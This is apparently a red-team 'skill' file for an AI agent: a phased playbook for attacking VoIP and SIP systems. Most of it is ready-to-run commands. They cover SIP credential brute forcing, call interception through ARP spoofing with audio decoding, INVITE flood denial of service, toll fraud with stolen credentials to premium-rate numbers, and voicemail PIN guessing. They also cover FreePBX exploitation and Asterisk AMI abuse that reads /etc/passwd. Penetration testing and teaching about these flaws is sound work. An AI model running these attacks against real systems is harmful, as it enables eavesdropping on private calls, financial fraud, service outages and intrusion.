---
name: rt-voip-sip
description: "VoIP and SIP attack skill for authorized engagements. SIP enumeration with svmap/svwar, SIP credential brute force, INVITE flood DoS, call interception via ARP poisoning, RTP stream capture and decoding, SIP proxy authentication bypass, voicemail PIN brute force, SIP scanner fingerprinting (Asterisk, FreePBX, Cisco UCM), and toll fraud via unauthorized outbound calls. Use when engagement scope includes VoIP infrastructure, PBX systems, or unified communications."
---

# rt-voip-sip — VoIP & SIP Exploitation

## Overview

VoIP systems handle corporate phone calls, voicemail, and unified communications. SIP (Session Initiation Protocol) is the dominant signaling protocol. Compromising VoIP infrastructure enables: call interception, credential theft, toll fraud (making expensive calls at the company's expense), and pivoting through the VoIP VLAN into production networks.

---

## Phase 1 — Discovery & Fingerprinting

```bash
# Install SIPvicious
pip3 install sipvicious
# Or: apt install sipvicious

# Scan for SIP devices (UDP 5060 by default)
svmap 10.10.10.0/24
# Discovers: SIP phones, PBX servers, gateways
# Output: IP, User-Agent (reveals Asterisk, FreePBX, Cisco, etc.)

# Enumerate extensions (SIP users)
svwar -e100-200 10.10.10.10  # Enumerate extensions 100-200
svwar -e100-999 10.10.10.10 -m REGISTER  # Use REGISTER method

# Nmap SIP discovery
nmap -sU -p 5060 --script sip-enum-users 10.10.10.0/24
nmap -sU -p 5060 --script sip-methods 10.10.10.10  # Allowed methods

# Find SIP over TCP/TLS
nmap -sT -p 5060,5061 10.10.10.0/24
# 5060 = SIP (UDP/TCP)
# 5061 = SIP over TLS (SIPS)

# Find web admin panels
nmap -p 80,443,8080,8443 10.10.10.0/24
curl -k https://10.10.10.10/  # FreePBX, Cisco UCM web UI
```

---

## Phase 2 — SIP Credential Brute Force

```bash
# Brute force SIP accounts (REGISTER method)
svcrack -u 200 -d /opt/SecLists/Passwords/Common-Credentials/10k-most-common.txt 10.10.10.10
# -u 200 = extension/username to target

# Multiple extensions
for ext in 100 101 102 200 201 300; do
    svcrack -u $ext -d rockyou.txt 10.10.10.10 &
done

# Hydra SIP brute force
hydra -l 200 -P rockyou.txt sip://10.10.10.10

# Default credentials to try first:
# Extension 200, Password: 200 (extension = password)
# Extension 100, Password: 1234
# admin / admin, admin / password
# Extension / (blank password)

# After credentials found — register as that extension
# Use Linphone, Zoiper, or MicroSIP with stolen creds
```

---

## Phase 3 — Call Interception

```bash
# ARP spoof to position between SIP phone and PBX
# Then capture RTP (audio) stream

# ARP spoof
arpspoof -i eth0 -t PHONE_IP PBX_IP &
arpspoof -i eth0 -t PBX_IP PHONE_IP &

# Capture SIP + RTP traffic
tcpdump -i eth0 -w voip_capture.pcap 'udp port 5060 or (udp portrange 10000-20000)'

# Analyze with Wireshark
# Telephony → VoIP Calls → select call → Play Streams
# Decodes RTP audio in real time

# rtpbreak — automatic RTP stream decoder
rtpbreak -n -i eth0  # Live capture
rtpbreak -d voip_capture.pcap  # From file
# Output: separate .wav files per call

# Play captured calls
play call_1.wav  # (sox)

# ucsniff — all-in-one VoIP sniffing tool
ucsniff -i eth0 -t PHONE_IP -g PBX_IP
# Automatic ARP spoof + capture + decode + save WAVs
```

---

## Phase 4 — INVITE Flood (DoS)

```bash
# Flood PBX with INVITE requests → crash or degrade service

# inviteflood
apt install inviteflood -y
inviteflood eth0 200 10.10.10.10 5060 1000
# Sends 1000 fake INVITE requests to extension 200

# svcrash — crash SIP devices with malformed packets
svcrash.py -i 10.10.10.10

# sipflood
python3 sipflood.py --target 10.10.10.10 --port 5060 --count 10000
```

---

## Phase 5 — Toll Fraud

```bash
# After obtaining SIP credentials → make expensive calls at company's expense
# International calls, premium rate numbers

# Register with stolen credentials and dial out
# Using PJSUA (command line SIP client)
pjsua --id sip:200@PBX_IP \
      --registrar sip:PBX_IP \
      --username 200 \
      --password STOLEN_PASS \
      --outbound sip:PBX_IP \
      sip:+1900PREMIUMRATE@PBX_IP

# Or: configure any SIP softphone
# Zoiper / Linphone / X-Lite:
# Account: 200@PBX_IP
# Password: STOLEN_PASS
# Dial: 9011 (outside line) + international number

# In report: demonstrate by calling test number (never actual toll fraud)
# Use: https://www.voip.ms test numbers or your own number
```

---

## Phase 6 — Voicemail PIN Brute Force

```bash
# Voicemail systems often have short PINs (4-6 digits)
# Access voicemail → hear confidential messages, password resets

# FreePBX voicemail web access
curl -X POST https://PBX_IP/admin/config.php \
  -d "display=voicemail&action=login&mailbox=200&context=default&pin=1234"

# Phone-based voicemail brute force
# Dial voicemail access number → enter extension → brute force PIN
# Use SIP client + DTMF automation

python3 << 'EOF'
import pjsua2 as pj
# Dial voicemail, wait for PIN prompt, send DTMF tones
# for pin in range(0000, 9999):
#     send_dtmf(str(pin).zfill(4))
#     if not "invalid" in response: print(f"PIN: {pin}")
EOF

# Default voicemail PINs
# 1234, 0000, 1111, extension number, last 4 of phone number
```

---

## Phase 7 — FreePBX / Asterisk Web Exploitation

```bash
# FreePBX web admin (default port 80/443)
# Default creds: admin/admin, admin/password, maint/password

# CVE-2019-19006 — FreePBX RCE (unauthenticated)
curl -X POST "http://PBX_IP/admin/ajax.php?module=userman&command=verifyToken" \
  -d "token=1"

# Asterisk Manager Interface (AMI) — port 5038
# Default: telnet PBX_IP 5038
nmap -p 5038 PBX_IP
telnet PBX_IP 5038
# Login: admin/amp111 (FreePBX default)

# AMI commands after auth:
Action: Command
Command: core show channels
# See all active calls

Action: Originate
Channel: SIP/200
Exten: +14155551234
Context: from-internal
Priority: 1
# Make a call from extension 200

# AMI → OS command injection (if Asterisk runs as root — common misconfiguration)
Action: Command
Command: shell cat /etc/passwd
```

---

## Skill Levels

**BEGINNER:** svmap discovery + svwar extension enum + default credential testing

**INTERMEDIATE:** SIP credential brute force + ARP spoof + Wireshark VoIP call decode

**ADVANCED:** RTP stream decoding to WAV + INVITE flood DoS + toll fraud demonstration

**EXPERT:** FreePBX/Asterisk web exploitation + AMI command injection + encrypted SRTP decryption

---

## References

- SIPvicious: https://github.com/EnableSecurity/sipvicious
- ucsniff: https://github.com/pcapperez/ucsniff
- VoIP security guide: https://www.voip-info.org/asterisk-security/
- MITRE T1557: https://attack.mitre.org/techniques/T1557/
